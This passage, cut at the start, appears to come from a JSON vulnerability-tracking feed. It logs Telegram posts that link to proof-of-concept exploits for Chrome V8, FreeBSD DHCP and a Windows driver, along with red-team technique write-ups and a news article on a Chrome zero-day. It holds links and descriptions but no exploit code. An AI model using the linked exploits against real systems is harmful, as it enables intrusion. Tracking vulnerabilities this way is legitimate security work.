CVE-2021-35393,\nCVE-2021-35394, CVE-2021-35395)\nhttps://www.iot-inspector.com/blog/advisory-multiple-issues-realtek-sdk-iot-supply-chain\n\nexploit\nCVE-2021-21225:\nA vulnerability in V8's\u00a0Array.prototype.concat\u00a0implementation\nhttps://tiszka.com/blog/CVE_2021_21225.html", "creation_timestamp": "2026-09-02T01:04:29.515386Z"}, {"uuid": "3e1bce59-dc0c-408a-8f1a-477e72cc9deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/cissp/2967", "content": "exploit\nCVE-2020-7461:\n1-day PoC for DHCP heap overflow vulnerability (NAME:WRECK) in FreeBSD\nhttps://github.com/knqyf263/CVE-2020-7461\n\nExploiting System Mechanic Driver:\nAbusing Token Privileges for LPE\nhttps://voidsec.com/exploiting-system-mechanic-driver\n]-> PoC:\nhttps://github.com/VoidSec/Exploit-Development/blob/master/windows/x64/kernel/iolo_System_Mechanic_Pro_v.15.5.0.61/iolo_System_Mechanic_Pro_v.15.5.0.61.cpp\n\nRed Team Tactics:\n1. JavaScript prototype pollution: practice of finding and exploitation\nhttps://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2\n2. UUID Shellcode Execution Implementation in C# and DInvoke\nhttps://blog.sunggwanchoi.com/eng-uuid-shellcode-execution\n\n1-click RCE in Telegram, Nextcloud, VLC, Libre/OpenOffice, Bitcoin/Dogecoin Wallets, Wireshark, Mumble, WinSCP (PoCs)\nhttps://positive.security/blog/url-open-rce\n\nThreat Research:\nChrome RCE Vulnerability\n(PoC for CVE-2021-21220)\nhttps://paper.seebug.org/1556\n+ Chrome V8 JavaScript Engine RCE:\nhttps://packetstormsecurity.com/files/162154/chromiumv8-overflow.txt", "creation_timestamp": "2026-09-02T01:04:44.805671Z"}, {"uuid": "fa17b9f8-863f-4c9f-a3d0-7d4e3da64478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "exploited", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T04:00:05.110615Z"}]}